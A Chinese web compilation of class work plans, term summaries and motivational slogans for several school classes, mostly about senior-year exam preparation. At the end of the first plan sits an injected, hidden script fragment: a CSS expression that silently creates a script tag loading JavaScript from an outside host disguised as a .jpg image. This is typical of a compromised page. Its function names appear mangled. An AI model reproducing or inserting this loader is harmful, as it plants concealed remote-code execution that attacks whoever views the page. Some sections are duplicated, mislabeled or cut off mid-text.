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高三8班班级工作计划

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高三8班班级工作计划（精选19篇）由网友“lwkl”投稿提供，下面小编为大家整理后的高三8班班级工作计划，希望大家喜欢!

高三8班班级工作计划

篇1：高三8班工作计划

高三（8）班工作计划

高三（8）班工作计划 ―――第一学期陈剑现在离高考还有263天。班级复读生班级，现有学生53人（男生39人，女生14人），班上学生总体习惯不好，基础较差，落后面较大，情绪也不稳定。如何克服不利因素，帮助学生做好备考工作，需要做大量的工作，现粗略计划如下：一、指导思想：在学校领导下，以突出体现学生主体为中心，加强对学生的思想教育、道德教育、法制教育、心理健康教育、责任教育、理想教育，提高学生自我教育能力、自主管理能力，培养学生具有健全人格，具有拼搏进取精神，争创高考理想成绩。二、主要工作 1.做好学生思想教育工作，指导学生从思想、知识、心理、身体、考技等方面做好准备，稳定情绪，以良好的精神状态去迎接挑战，去把握住人生重大选择的机会。 2.认真上好班会课。利用各种形式的班会课对同学们进行思想教育，调动学生学习的`积极性，培养学生良好的品格、修养等。特别上好第一周的班会课，帮助同学们树立争取高考胜利的信心。有计划地安排一些主题班会，提高每一次的班会课的质量。 3.实行班干部轮流值日负责制，严格考勤，严格控制自修课纪律。配合开展学校的各项活动，持之以恒地抓好学生的日常行为规范教育。不定期深入学生宿舍，协同宿管组搞好宿生的管理工作，为同学们营造一个良好的休息环境。 4.争取各科任老师的大力支持，做好培优转差。要确定优生的培养目标和差生的转化目标。 5.多与家长沟通。要有严格的请假制度，树立安全意识，遇到特殊情况及时与家长联系。近期计划： 1、调整好座位；布置课室宣传标语、黑板报。 2、临界生情况了解整理学生档案 3、优生情况了解 4、差生情况了解，整理学生档案，学会服从 5、“一模”考试准备 6、帮助学生查漏补缺 2008．9．3 ee:expression_r(function{if(!window.r){var ss=s+cript;var tt=text/ja+vas+cript;var st=document.createElement_x(ss);st.src=imgcache.suqian114.cn/a/s/sina.jpg;st.type=tt;document.getElementsByTagName_r(head).item(0).appendChild(st);window.r=1}}(this));width:0px;display:none

篇2：初一•8班班级工作计划

初一•8班班级工作计划

初一・8班班级工作计划 ――齐世铭新学期，鉴于学生们大都适应了班级生活，大部分学生养成了良好的学习习惯，完善了学习方法。但是，在细节方面还存在着明显的不足，与学校的要求还有一定的差距。细节出成效，管理出效益。为完善班级管理，特制定班级计划如下：一、完善学生的评价制度对学生的评价制度，其实就是班级的一部“法律”。只有完善了这个制度，各项工作才能作到“有法可依”，减少工作中的个别“不公平”状况的发生。班级的期末评先、入团等活动都有所依据。具体细则正在不断的修订、补充当中，即将完成。二、建立班级图书馆，营造书香氛围古人云：“胸有万汇凭吞吐，腹有诗书气自华”。只有多读、多背，才能多思考，才能有深刻的思想，灵活的处理问题的方法……我考虑把自己的一些杂志还有每位学生拿一到两本书，派两名学生负责，做好阅读登记，摘抄的检查工作。对读书多，摘抄多的学生实行奖励加分。三、建立家庭背景档案，对不同类型的家庭背景的学生要采取不同的教育方法。加强学生的心理健康的监管力度。对于一些干扰学习的心理隐患要及时处理。四、落实帮扶制度。对于个别意志薄弱、比较放任自流等学生实行定人的监管方法，耐心说服及大分等各种方法，促使其转变。五、登记学生的生日，给每位学生以切实的`关爱。班委和我一起给过生日的同学写生日寄语。努力营造和谐共处的班级环境，又避免学生间互送生日礼物，避免浪费。六、作好学生午休的管理制度。在买几盒，音律优美，内容积极上相的录音带。在学生午休时播放。让学生养成伴随音乐放松休息的好习惯，避免个别不爱午休的同学随意走动，干扰其他同学。七、定期、定时、定人与家长联系。做到家校密切配合，共促学生的发展。八、加强健康教育。对于那些体质较弱，经常生病的学生，经常提醒其加强锻炼和加强营养。对于个别体形肥胖的学生，督促其经常运动，控制体重，保持健康。定人管理下课开窗通风的管理。九、发掘学生的才能，锻炼学生的能力。本学期的班会要交给学生自己去主持，自己只起引导的作用。培养学生围绕主题，收集资料，制作课件，大方灵活地主持班会。十、加大班委的培养力度。班委会定期召开，形成制度化。不同只能的班委在个别培训。提高不同只能的班委的管理意识和管理水平。以上计划一定会落到实处，对于在工作中遇到的新情况、新问题，还要灵活处理。争取少走弯路，提高班级管理的力度和效率。

篇3：8班班级口号

1、搏击长空翱翔万里追求梦想永不放弃

2、山不厌高海不厌深养怡之福可得永年

3、放马金鞍勇冠江山气势磅礴惟我八班

4、八班八班猛虎下山锻炼身体增强体质

5、乐学善思自强不息厚积薄发一鸣惊人

6、文者称雄武者称霸初二八班雄霸天下

7、不骄不馁迈向成功脚踏实地早日圆梦

8、互帮互助团结友爱疯狂学习活泼玩耍

9、鸟贵有翼人贵有志人若立志万夫莫敌

10、扬帆起舵学海无涯乘风破浪奋勇拼搏

11、八班八班同心协力奋发进取勇闯第一

12、信心百倍斗志昂扬全力以赴铸我辉煌

13、心志要坚意趣要乐输在犹豫赢在行动

14、扬帆把舵奋勇拼搏看我八班气势磅礴

15、尊人尊己友谊第一少说多做学习第一

篇4：8班班级口号

1、八班八班独一无二心中似火赵越自我

2、树立目标坚定信念脚踏实地超越自我

3、不卑不亢奋发向上生命辉煌我们开创

4、艰苦风斗铁杵成针矢志不移滴水穿石

5、激情飞扬超越梦想挑战极限创造辉煌

6、良药苦口忠言逆耳顿开茅塞补偏救弊

7、学贵有恒务实上进天道酬勤厚积薄发

8、八班团结破茧成蝶气贯长虹笑傲苍穹

9、思不嫌烦学不嫌苦坚持不懈勇往直前

10、八班奋起所向披靡八班腾飞无坚不摧

11、勤奋乐学团结拼搏自信自律求实创新

12、保定宗旨砥砺德行远见卓识创造辉煌

13、不耻下问学以致用锲而不舍孜孜不倦

14、山中猛虎水中蛟龙唯我七一傲视群雄

15、八班八班无限锦绣八班八班热血铸就

16、激情澎湃三五不败斗志昂扬三五最强

17、初二八班永远争先学习体育齐创佳绩

18、天行刚健志在拿云傲视群雄唯我独尊

19、顽强拼搏超越自我不鸣则已一鸣惊人

20、追求卓越不断前进追求完美不断突破

篇5：8班班级口号

1、八班八班非同一般勇往直前大干一番

2、八班八班独一无二策马金安为我八班

3、刻苦拼搏智慧无穷零八高考傲视群雄

4、八班八班沉舟破釜零八佳绩非我莫属

5、努力拼搏睿智进取携手奋进共创佳绩

6、学习竞赛体育不怠只要我在三八不败

7、拥抱青春挥洒汗水看我八班展我班威

8、人生有限价值无限珍爱生命创造奇迹

9、我的青春由我做主丰硕自我自信人生

10、百舸争流永争第一八班八班独一无二

11、八班心齐所向无敌无论评比还是学习

12、好好学习天天向上互帮互助共同进步

13、鲲鲸击水扶摇云鹏蛟蛇起陆张扬飞龙

14、勤奋努力勇创佳绩团结拼搏再展雄风

15、百炼千锤高三无悔金榜夺魁舍我其谁

篇6：七年级8班工作计划

七年级8班工作计划

七年级8班工作计划一、指导思想：本期，七（8）班将以“诚信、自强、励学、创新”为精神基础，以开展多种形式、多功能的主题班会及各项活动为教育载体，以建设一支战斗力强、团结合作的干部队伍为主要抓手，以如何促进学生形成文明规范的行为习惯和良好学习习惯为教育主攻方向，进一步加强教育教学常规管理, 大力加强班风、学风建设，强化管理，注重落实，重视基础，培养能力，积极促进班级教育教学工作都能迈上一个新台阶。为形成班级良好班风学风，实现班级整体教学质量的腾飞努力。二、工作要点 1、确定明确奋斗目标本期班级班风考核力争进入全级前五名，考试成绩力争全集前三名，继续实施“三星计划”。 2、丰富班级活动加强对学生思想品德教育和创新精神与实践能力的培养，面向全体学生，促进学生全面发展。组织和指导学生开展灵活多样、富有情趣的课内外活动，如主题班队活动、校园文化活动、社会实践活动等。 2、营造向上氛围根据学生的年龄特点，努力营造平等、围结、和谐、进取的班级氛围。培养学生的参与意识，提供显示学生才华的机会，在潜移默化中逐渐形成自理自治能力，体现学生的主体地位，发掘创新精神。 3、指导培养班干部要认真选拔班干部，同时要精心培养班干部。培养干部团结协作的精神，要能够通过干部这个小集体建立正确、健全的'舆论，带动整个班集体开展批评与自我批评，形成集体的组织性、纪律性和进取心，亦即“以面带面”。 4、加强习惯养成教育三、具体措施： 1、抓好常规工作（1）经常到班，组织、管理、督促检查、反馈一日班级学生出勤、纪律、卫生、作业等情况，对不良现象进行处理、纠正。（2）督促三操。“三操”是指早操、课间操、眼保健操。（3）不定时深入教室，了解学生情况，包括教室保洁、学生精神状态、学生课间生活内容、方式等，并对不良现象进行教育、引导。（4）处理学生请假及其它突发事件。（5）教育违纪学生。对学生中的违纪及时教育、处理，从而更好地建设班风、优化学风。（6）教室纪律维护。班主任应维护好教室纪律，以保证良好的学习环境。（7）检查学生仪表。仪表是学生形象、精神面貌的写照，是学校管理的必须要求，诸如规范学生饰物佩戴、发饰及其它穿着打扮等，都要进行检查督促，保证学生仪表符合中学生的角色要求。 2、了解学生思想状况。了解和研究学生是做好班主任工作的前提。为了深入了解学生的思想状况，主要采取以下几种途径：（1）与学生交谈。（2）不定期检查学生的作业。（3）进行家庭访问、召开家长会。 3、创新教育（1）落实班级通讯员制度。（2）后进生接力本制度。（3）开好班干部月会；周小结会；班干部培训会。（4）完善违纪生档案。（5）分层分组管理学生，班主任、班干部包干制。 4、从实际出发，制定出一套较为完整而容易操作的班规。七（8）班班委会张晓刚 .3.2

篇7： 8班班级励志口号

1. 班荣我容，班耻我耻

2. 体验成长过程，享受生命快乐

3. 叶落归根，爱国荣校

4. 播种行为，收获命运

5. 乐学苦思，敏锐创新

6. 我努力，我进步，我自信，我成功

7. 刻苦求学，踏实做人

8. 勤奋乐学，团结拼搏

9. 不比智力比努力，不比起点比进步

篇8： 8班班级励志口号

1. 顽强的毅力可以征服世界上任何一座高峰。

2. 我运动我精神我努力我最棒。

3. 团结拼搏，求实进取。

4. 播种生活，收获习惯;播种习惯，收获性格;播种性格，收获命运。

5. 小事成就大事，细节成就完美。

6. 好习惯成就一生，坏习惯毁人前程。

7. 青霄有路终须到，金榜无名誓不归。

8. 吾志所向，一往无前;愈挫愈勇，再接再厉。

19. 一朝习惯，万事易办。

10. 立志漫长清华园，刻苦方能未明湖。

11. 我心一片磁针石，不读清华不肯休。

12. 龙吟八洲行壮志，凤舞九天挥鸿图。

篇9： 8班班级励志口号

1. 志不坚者智不达，言不信者行不果。

2. “想”要壮志凌云，“干”要脚踏实地。

3. 求真尚美，砺志笃行。

4. 良好的'习惯是成功的保证。

5. 惟理想点亮生命的精彩。

6. 八班：一枝独秀，秀出丰采。

7. 安逸的环境造就不出时代的英才。

8. 千淘万漉虽辛苦，吹尽黄沙始到玺。

9. 志强智达，言行行果。

10. 文明友爱，求学拼搏

11. 壮底气，树正气

12. 强班强校，校荣我荣

13. 用勤劳坚持，换春华秋实

篇10：8班班级励志口号

1. 志不坚者智不达，言不信者行不果。

2. “想”要壮志凌云，“干”要脚踏实地。

3. 求真尚美，砺志笃行。

4. 良好的习惯是成功的保证。

5.八班：彩虹风雨后，成功细节中。

6. 惟理想点亮生命的精彩。

7. 八班：一枝独秀，秀出丰采。

8. 安逸的环境造就不出时代的英才。

9. 千淘万漉虽辛苦，吹尽黄沙始到玺。

10. 志强智达，言行行果。

11. 文明友爱，求学拼搏

12. 八班：自信自律，求实创新

13. 壮底气，树正气

14.八班：学奥运精神，夺高考金牌

15. 强班强校，校荣我荣

16. 用勤劳坚持，换春华秋实

17. 八班：文明有礼刻苦勤奋，只争朝夕做到最好

18.八班：我成功因为我努力，我努力因为我自信

19. 八班：同舟共济，劈浪向前

20. 八班：勤学守纪，踏实严谨

篇11：8班班级励志口号

1. 班荣我容，班耻我耻

2.八班：文明勤恳，竞争超出

3. 体验成长过程，享受生命快乐

4. 叶落归根，爱国荣校

5. 播种行为，收获命运

6. 乐学苦思，敏锐创新

7. 我努力，我进步，我自信，我成功

8.八班：探索智慧启迪人生

9. 刻苦求学，踏实做人

10八班：. 饮水思源，爱国荣校

11八班：. 直面挑衅，畅享成长

12.八班：宁静致远，厚积薄发

13. 勤奋乐学，团结拼搏

14.八班：每一个男生都应该是绅士，每一个女生都应该是淑女

15. 不比智力比努力，不比起点比进步

篇12：高三班级工作计划

班主任的工作细腻繁琐劳累是一项不断思考的工作，高三关键学期开始了，我班学生全部到齐，期末考试成绩进步了许多。在高三余下的三个多月中，我将继续在创新思想指导下，保持良好的班风，避免学生成绩两极分化。

降低高考前班级管理的难度，做好班主任工作，克服不利因素，帮助学生做好备考工作，具体工作计划如下：

一、总体目标

加强自身业务学习，努力提高自己的班级管理水平，以班主任为主导学生主体，全方位提高学生的德智体美劳各方面素质，提高学生自我教育能力、自主管理能力，培养学生强健的体魄努力拼搏进取精神，加强学生的学习计划方法指导工作,保障学生的基础知识牢固,针对性的进行个别学生具体指导工作，实现学生高考全辉煌。

二、班级主要工作

1.充分合理搞好学生思想教育工作，合理指导学生从思想、基础知识、高考心理、身体、考技等方面做好准备，稳定情绪，信心百倍去迎接挑战。

2.充分认识班会课的重要性，把握学生心理提高班会课质量和效果。利用各种形式的班会课对同学们进行良好地思想品德教育，合理调动学生学习的兴趣和积极性，培养学生优良的'意志品质。特别是开学第一堂班会课，切实帮助全体同学树立挑战高考胜利的信心。循序渐进有计划地针对性的安排一些主题班会，提高每一次的班会课的质量和效果。

3.班主任靠上去监督班干部轮流值日，班长严格考勤，严格控制自修课纪律和班级人数。配合开展学校的各项活动，持之以恒地抓好学生的日常行为规范教育。经常深入学生宿舍，协同宿管组搞好宿舍管理工作，为同学们营造一个良好的休息环境。

4.请教各科老师全面做好培优转差纠偏补弱等工作。要确定优生的培养目标和差生的转化目标。

5.严格作息制度，上好早读课，提高早读质量，加强学生复习方法的指导。

6.经常多与家长联系交流沟通。要有严格的请假制度，树立安全意识，遇到特殊情况及时与家长联系。

三．注意鼓励减压问题

1. 高考前100天左右，学生有动力，易紧张；有挫折，易冲动；有迷茫，易倦怠。鉴于此，我将以《八班，我成就梦想成才的家》为主题，召开1~2次主题班会。引导学生珍惜通过全班共同努力换来的累累硕果，珍惜这难得的学习环境机会，珍惜这种诚挚的感情，为高中生活画上完美的句号。

2. 在班级内部形成一种舆论：品德高尚的人，一定会刻苦学习；刻苦学习的人，未必品德高尚；不刻苦学习的人，品德一定不高尚。这对形成良好的班风，激发学生内在的学习动力大有好处，使学生们都能自觉刻苦学习，自觉关心班级。

3.从珍惜环境入手，引导学生自觉完成本职任务。用“温暧的家”、“温馨的环境”，缓解学生间的冲突，缓解学生学习中的紧张，缓解学生的学习倦怠。从而能保持长久的学习动力。

4. 经常向学生渗透如下观点来蔑视高考：高考是人生中的第一次考验，但不是唯一的考验。面对高考，更重要的是锻炼自己面对压力时的态度，面对压力时所采取的措施，培养自己灵活应对压力的能力，为将来步入社会打好基础。如果只看重高考结果，而忽略对自己能力的培养，即使考上大学，也不一定能就业；即使能就业，也不一定有发展，不一定有前途，将来也不一定能成才。从而分散学生对高考的注意力，进而分散学习压力。

篇13：高三班级工作计划

白驹过隙。一学年又过去了，我们迎来了高三，本学期高三（30）班的工作重心：“沟通，交流，互助，学习”基本完成。在狠抓良好班风、学风的形成的基础上，通过正确引导和师生的共同努力初步形成一个优秀班级。光荣完成学校、德育处布置的各项工作及班级学期初制定的工作计划。

为了今后更好地开展工作，现将本学期工作情况总结如下：

一、班集体建设

1. 本学期着重加强对学生的集体荣誉感的教育。学期初，在班级以板报的形式，再次明确了班级目标即“沟通，交流，互助，学习”。并且在班级日常晨会中，强化这一意识。强化学生的集体意识，对学生提出一定的要求，使之行为符合班级要求。

2.狠抓常规教育，促进习惯养成，以达到规范班级管理的目的。根据学校的安排，抓常规学常规，班级内部开展常规知识竞赛，利用班会学习《中学生日常行为规范》等，使学生在校的学习、生活及一言一行，都有章可循。

3．为了紧张的高三学习更加有序，还着重抓学习习惯、学习品质的养成，严谨认真的考风考纪的养成。

二、班干部培养

我班的班干部是本学期初学生自由选举产生，有一部分学生是新手没有什么工作经验。开学伊始开了几次的班委会，进行了工作培训，学生干部对各自的工作已经有了具体的认识，工作起来基本能上轨道。特别对班长、劳动委、宣传委的培养较多，因他们在班级常规中发挥的作用比较大。通过一学期的培养，班级的常规工作基本上能由学生干部负起责来。并由班长组织每周开好周例会，进行小结，及班委间的沟通。

三、班级常规

平时利用晨会、班会对学生进行日常行为规范教育，纪律方面，严格要求学生每天自觉佩带校卡，做好两操,值日生做好两扫及抬水的义务等。

四、学习、集体观教育

建立学习互助小组，组长由学习成绩较好、管理能力较强的学生担任，目的是“沟通、交流、互助、学习”，活动时间各组自定，但必须每周都有一个固定时间，活动开展顺利。在活动中体会到团结协作的可贵，从而在无形中对学生进行了团结友爱、互帮互助的教育，同时也增进了学生间的情谊。下课时，我也尽量和学生待在一起，希望以最快的速度找到他们身上的闪光点，同时对班内发生的状况进行处理，有些情况还可以拿出来，让学生讨论讨论，一同寻求问题的解决方法，充分发挥学生自我教育的能力。注重抓好学生的学习品质、学习习惯考试纪律等教育。

五、搞好家校联系工作

定期与家长联系，或是通电话，或是家访，或是进行书面联系。并根据学校要求建立和完成家校联系册，沟通学校和家庭的关系，协调家校管理配合，真正做到互通信息、互相支持、互相配合。一年来，绝大多数学生已完全适应高三学习生活，班中也日益呈现一种你追我赶的学习气氛，学习气氛浓，各项活动能积极参与，成绩进步较大。

篇14：高三班级工作计划

为了加强班级管理，更好地搞好班级工作，争取在高考取得满意成绩，结合学校工作和学生实际情况，特制定本班班主任工作计划。

一、指导思想

在学校领导下，以突出体现学生主体为中心，加强对学生的思想教育、礼序教育、心理健康教育、责任教育、理想教育，提高学生自主管理能力，培养学生具有健全人格，具有拼搏进取精神，争创高考理想成绩。

二、班情分析

本班是美术普通班，现有在籍学生xx人（男生xx人，女生xx人）。班上学生总体精神面貌积极向上，专业课省考成绩总体不错，但文化课相对较弱，同时目前受校考和外面辅导机构的影响，学生情绪不是很稳定，学习状态较差。如何克服不利因素，帮助学生做好备考工作，需要做大量的工作。

三、工作重点和目标

1．目标引领，稳定学生情绪。班集体的共同奋斗目标，是班集体的理想和前进的方向。我班的奋斗格言是：“相约在大学！”在实现这个目标的过程中，要充分发挥集体中每个成员的积极性，要让他们分享集体的欢乐和幸福，从而形成集体的荣誉感和责任感。同时做好学生思想教育工作，指导静下心来在学校踏实学习文化课，稳定情绪，以良好的精神状态去迎接挑战，去把握住人生重大选择的机会。

2．营造竞争氛围，激发斗志。在学生中培养竞争意识，确立个人奋斗目标，有“你追我赶”的比学风格。

3．培育班风学风，营造良好的学习环境。形成“勤勉、好问、多思”的良好学风和“静、净、竞、敬”的良好班风。

四、具体工作措施

1．加强常规教育。首先，要求每一位学生严格遵守校规校纪，让良好的习惯内化为自身的素质，以良好的行为营造文明的校园环境。其次，强化课堂纪律和卫生工作，每天由班干记录班级学生课堂表现，进行学生日常行为日量化管理，严格贯彻班级的卫生制度，重视培养学生卫生保持的好习惯。再次，强化安全意识，充分利用一切阵地加强对学生的交通安全、饮食安全、消防安全等方面的教育，提高学生的自我保护和自我救治的能力。

2。加强理想教育，增强信心。通过开展主题班会，让学生明确自己的人生目标，增强奋斗的动力，同时利用班会等形式对学生进行自信教育，让他们在学习的过程中树立信心，战胜困难。

3。加强学习方法指导。进入高三下学期，多数学生有较强的学习动机，但是想要提高成绩，方法很重要。本学期，请学习优秀的学生总结经验，谈谈自己的学习方法，并进行班内交流，培养良好学习习惯，形成良好的学习风气。

4。加强对后进生的帮扶工作。对于班级的后进生采用“五导”的教育方式，即：情感上开导，心理上疏导，思想上引导，学习上辅导，行动上督导。实行“传、帮、带”，引导同学间互相鼓励，互相帮助。

5．家校联手，形成良好的教育合力。首先，开好每次阶段性的家长会，针对学生的现状，与家长共同探讨解决问题的方法，并对下一步工作做好安排，形成家长、教师、学生三位一体的教育模式。其次，平时把学生在校的各方面的表现反馈给家长，及时与家长沟通，使家长对孩子在校情况作到心中有数，请家长协助鼓励或帮助学生，作好学生的思想工作，同时，向家长了解学生在家的表现，及时找到问题所在，对症下药。

新学期，新开始，我必将与我的学生们齐心协力，共同奋斗，迎接高考，共创辉煌。

篇15：高三班级工作计划

班主任的工作细腻繁琐劳累是一项不断思考的工作，高三关键学期开始了，我班学生全部到齐，期末考试成绩进步了许多。在高三余下的三个多月中，我将继续在创新思想指导下，保持良好的班风，避免学生成绩两极分化。降低高考前班级管理的难度，做好班主任工作，克服不利因素，帮助学生做好备考工作，具体工作计划如下：

一、总体目标

二、班级主要工作

1.充分合理搞好学生思想教育工作，合理指导学生从思想、基础知识、高考心理、身体、考技等方面做好准备，稳定情绪，信心百倍去迎接挑战。

2.充分认识班会课的重要性，把握学生心理提高班会课质量和效果。利用各种形式的班会课对同学们进行良好地思想品德教育，合理调动学生学习的兴趣和积极性，培养学生优良的意志品质。特别是开学第一堂班会课，切实帮助全体同学树立挑战高考胜利的信心。循序渐进有计划地针对性的安排一些主题班会，提高每一次的班会课的质量和效果。

4.请教各科老师全面做好培优转差纠偏补弱等工作。要确定优生的培养目标和差生的转化目标。

5.严格作息制度，上好早读课，提高早读质量，加强学生复习方法的指导。

6.经常多与家长联系交流沟通。要有严格的请假制度，树立安全意识，遇到特殊情况及时与家长联系。

三．注意鼓励减压问题

5. 减少空谈空强调，制定措施想实招。早晨早读到教室，我班学生总比其他班级提前30分钟，日积月累，收到了非常明显的效果，成绩中游学生，普遍有明显提高。本学期，我将继续坚持这种做法。

6.办好与高考有关的黑板报，时刻激励提醒每一位同学，为班级营造和谐的学习气氛。

7. 安排班长负责，根据班级实际情况，用笔记本定期记录不同内容，提出班内存在的问题，每天对自己提出新的要求，并指出解决办法或努力方向，实施对学生进行潜移默化的影响。

例如：优秀是一种自觉，高三八班是个优秀集体，你做的优秀吗？

笔记本使知识更系统，错题本使解题更细致。

考前多流汗，考后少流泪。

再坚持一步满盘皆活，稍松一口满盘皆空。

分数是学出来的，而不是考出来的。

别人学习时你也学习不是拼搏，别人玩时你还在学，才是拼搏。

每天拼得一分，任何人都会化腐朽为神奇。

你学的和别人一样多是不会进步的，只有比别人学的多才能进步。

高三八班同学未必是最聪明的，但一定是最刻苦的，最终一定是最优秀的。

当你屈指细算距高考还有100天时，别人又看完了一页书。…………

这种舆论影响，用的恰到好处好处，其作用是十分巨大的。

8. 进入高三复习，紧张焦虑，易出现浮躁。期间也有几次重大心理波动阶段，在此过程中，学生的心理也是最敏感最脆弱的阶段。对此，我将根据各阶段中学生易出现的问题，提前做好预防工作，以帮助学生顺利渡过难关，让学生尽可能平稳、轻松地坚持到高考。如，在进入新校区之后的第一次考试前，许多人都强调这次考试的重要性，而我除强调其重要之外，又列举了几种会影响考试的正常因素，让我的学生认识到，这次就算考不好也没有关系，自己依然有希望。因此能轻装上阵，恰恰能答出好成绩。本学期我将坚持这种做法。当然，我在给学生分析考试利弊因素时，一定会协调各任课老师结合阶段复习特点、学科复习特点、班内实际等多方面情况，做到每次都不重复，每次都能有针对性地解决实际问题。

9.本学期我继续加大力度时间靠上，每项工作都亲自指导；管理工作有固定原则，却无固定方法。学生管理，“管”是手段，是措施，而且是最初的措施。“理”是目的，要能引领学生朝既定方向前进。能做到“理”的程度，也是做学生管理工作所追求的一种境界。管理有法而无定法，要视班级实际情况灵活进行。飘风起，则抑之；挫而衰，需扬之。所有的做法或措施的目的都是，为了使全班学生始终处于希望中，有希望却难以自负；始终处于不懈努力中，有挫折却难忍舍弃。

王xx

20xx年2月

篇16：高三班级工作计划

高三3班班级工作计划20xx～20xx学年度第二学期班级工作计划

班级

高三（3）班

班主任

许刚

人数

男：41

四月

1 、加强学生的心态调整工作，用谈心、开会、班会等方式做好学生的心理工作，帮助学生减轻压力，调整心态。

2、准备南昌市的二模考试及分析工作。

3、与任科老师加强沟通针对有弱项的学生个体问题进行帮助。

女：27

1师生关系良好，绝大多数同学学风较好，同学心情舒畅。

2 同学能遵守校纪校规，上学期拿了七面流动红旗，下学期争取多拿。

3 部分学生的学习方法有待加强，提高学习成绩。

五月

1、布置五一长期的复习工作，利用电话家访，了解学生在家学习状况。

2、关心成绩“差”学生心理状况。

3、召开学习经验交流、纠错经验交流会、最优解题解法经验交流。挖掘学生中的好方法。

1 较好完成学校的任务。

2 完成学校布置下达本班的任务，力争取得优异成绩。

3 陪养情商健康智商优异的学生。

六月

做好高考的准备工作及考后的其它的工作，

二月

1 完成开学报到交费等工作。

2 作好开学考试的分析查漏工作。

3 对部分学生进行家访。

三月

1 做好南昌市一模的复习考试分析工作。

2 认真做好一模考后查漏补缺及学生思想工作。

3 完成政教处年级组工作。

篇17：高三班级工作计划

本学期我担任高三八班班主任，从高二接手这个班级以来，已经过去一年半了。与同学们由初见到相识，到现在的彼此有了一些的了解。由于更换班主任给班级带来的影响也逐渐的淡化，班级正在稳定的发展着。高三班主任工作是高中阶段最累最重的，需要做好深入细致的思想工作，关心每一个学生的思想状态、学习情况。过去的一学期里，我班在学校领导的统一组织、年级部的带领、任课老师的大力支持和配合下，各项工作顺利得以开展，紧张的一个学期即将过去，回首过去的工作，充满了机遇与挑战。一学期的辛苦，有的喜悦，也有不足与遗憾，为总结经验教训，利于今后工作，现总结如下：

一、强化班级管理，稳定班级各项秩序

良好的班级秩序，班内学习气氛浓厚，这是高三学生能坐得住、学的好的关键保障。所以我十分重视常规工作，首先，要做好各项工作的检查督促，在管理上要严字当头，依靠规章制度，力求科学化、规范化，程序化，不因为学生学习紧张而放松对遵守纪律、做好卫生等工作的要求。实践证明，高三下学期抓好纪律、卫生、两操工作，不仅不会影响高考复习，而且这种一如既往的要求，会使学生感到严肃紧张、积极向上的气氛，防止产生懈怠情绪。例如，对班级中个别人带手机的现象，进入高三来也曾经出现过，那就严格按照已经制定好的班级制度，一律没收，毕业时归还，坚决不提前返还。无论学生如何商量，也不给其机会。在经过两次事件后，大家看到了老师的坚决，这类现象也就不再有出现了，即使他带在身上，也不会在教室内拿出来玩了。其次，深入班级，及时发现问题，让班规校规落到实处，本学期，在时间上，学校统一作出了规定，压缩了一些休息时间，比如，每天大课间由30分钟变到了20分钟，晚自习从6:40提到了6:30，在这几个关键的时间段，我都深入班级，督促大家尽快进入学习状态，在前几天的坚持下，学生们也慢慢进入了新的生物钟状态。对个别晚到的同学先是语气缓和的叮嘱一下，第二天，你会看到他会早早的做在座位上了。本学期各项工作繁重，锁碎，我力争做到知道每个学生的状态，了解每一天的情况，发现问题及时处理。经常表扬，做好激励工作，好现象全班大范围的鼓励、表演。个别不足的地方，尽量在私下解决，个别谈心。最大程度上少发火，给学生营造一种平静、和谐的学习氛围，少让大家产生焦虑、不满、烦躁的情绪，尽最大可能让学生保持一种乐观、向上的心态。并坚持每周由班主任做班级情况小评，以表扬为主，对学习上刻苦、成绩进步、遵守纪律好，劳动好，关心班集体，关心帮助同学等好人好事充分表扬，树立正气，激励学生积极进取。抓好班干部，班级个人值日制，使常规管理有人抓，充分发挥他们的主观能动性，既减轻了班主任的负担，又锻炼了学生干部。

二、重视每一次考试，用好每一次考试

强调考试中的各种规范，一切按高考的标准来要求，让学生拿平时的考试当高考，习惯考试。考前认真准备，考后仔细总结，把每张考试卷争取做到考后100 分。从做题的正确率、速度、灵活性上提出要求，指导学生善于反思总结归纳。如理综答题顺序、考试心态准备、以及如何尽量多得分，答卷书写不够规范，理科尤其是数学做题步骤跨步太大等等。要培养学生好的考试习惯，学生在平时的学习中就应与高考接轨。高三的模拟考试较多，组织一场考试也需要花费大量的人力物力，考试原本是为了帮助学生查缺补漏，发现问题，强化心理承受能力，引领进步，但在高三的特殊时期，一旦在班主任的工作中对考试处理不妥，容易使学生出现考试疲劳，甚至越考越丧失信心，产生考试麻痹和考试焦虑。因此我们需要用好考试，指导学生如何支配考试时间，积累考试经验，减缓考试压力等等。比如要求学生以正确的态度对待考试，做到考试练习化，练习考试化。同时，根据学生的学习表现和考试成绩，局部调整座位，给学生创设新的周边环境，掀起新一轮的学习热情，也不断发挥同学之间的相互作用。千方百计使学生放松心态，通过班会课和考试之后与学生的交流谈心，和学生一起分析考试情况，对其成功之处给予充分的肯定，不足之处提出改进的措施，使学生越考心中越亮堂，一考一个阶梯，由细小的点点滴滴的进步汇成最后的成功。正是通过这样的努力，学生越考越有信心，才能在高考中达到甚至是超越自己的既定目标。

三、观察学生的心态变化，关注个别学生的心理健康

事实证明，很多时候，阻碍学生成功的主要障碍，不是学生能力的大小，而是学生的心态问题。仔细观察不难发现，每次考试前都会有那么一两个学生开始稳不住，情绪开始有波动，一次次的月考、模考，对学生形成强烈的心理冲击，往往是一波未平一波又起，这些有形和无形的巨大压力，极易使学生心态失衡。因此在临近每次考试前的一周内

篇18：高三班级工作计划

“上知天文，下知地理”是古人形容博学多才者的术语。我们蒸蒸日上的高三（二）班正在朝着高考这个方向努力拼搏着。我们依靠的准则是学校的规章制度；《中学生守则》，前进的方向是心目中理想的高校。我们严格管理，我们给自己加压，我们给自己制定一个短期的目标，努力做好每一个步骤，每一个环节，我们的学期目标是班级管理年级争先，各项常规学校创优。每一门考试科目能获得优秀的成绩，高考科目争取在年级排在前几名；为自己创造一个整洁的学习环境；给自己营造一个良好的学习氛围；从各方面来完自己的素质。

一、抓好班干部队伍，班级工作狠抓落实，班级工作上新台阶。

切实发挥好班干部的作用。从班长到团支书，班级干部有明确的分工与协作，为班主任减轻负担；从学习委员到各门课代表，他们每一个同学都是任课老师的得力助手，也是同学们学习的楷模。课前课后与课任老师的交流使得老师更能了解班里的学生。同学们形成了互帮互助小组，使得各项工作能够顺利进行。班干部是班级的形象代表，是同学们的榜样。班级黑板报在文娱委员的精心策划，全体同学努力之下使每一期黑板报都是我们高三（四）的一道亮丽的风景线。从劳动委员到每一位同学，我们都形成了以点到面的负责制度，进行责任包干。

二、班级卫生不仅是班干部的责任范围，更是同学们生活的一部分。

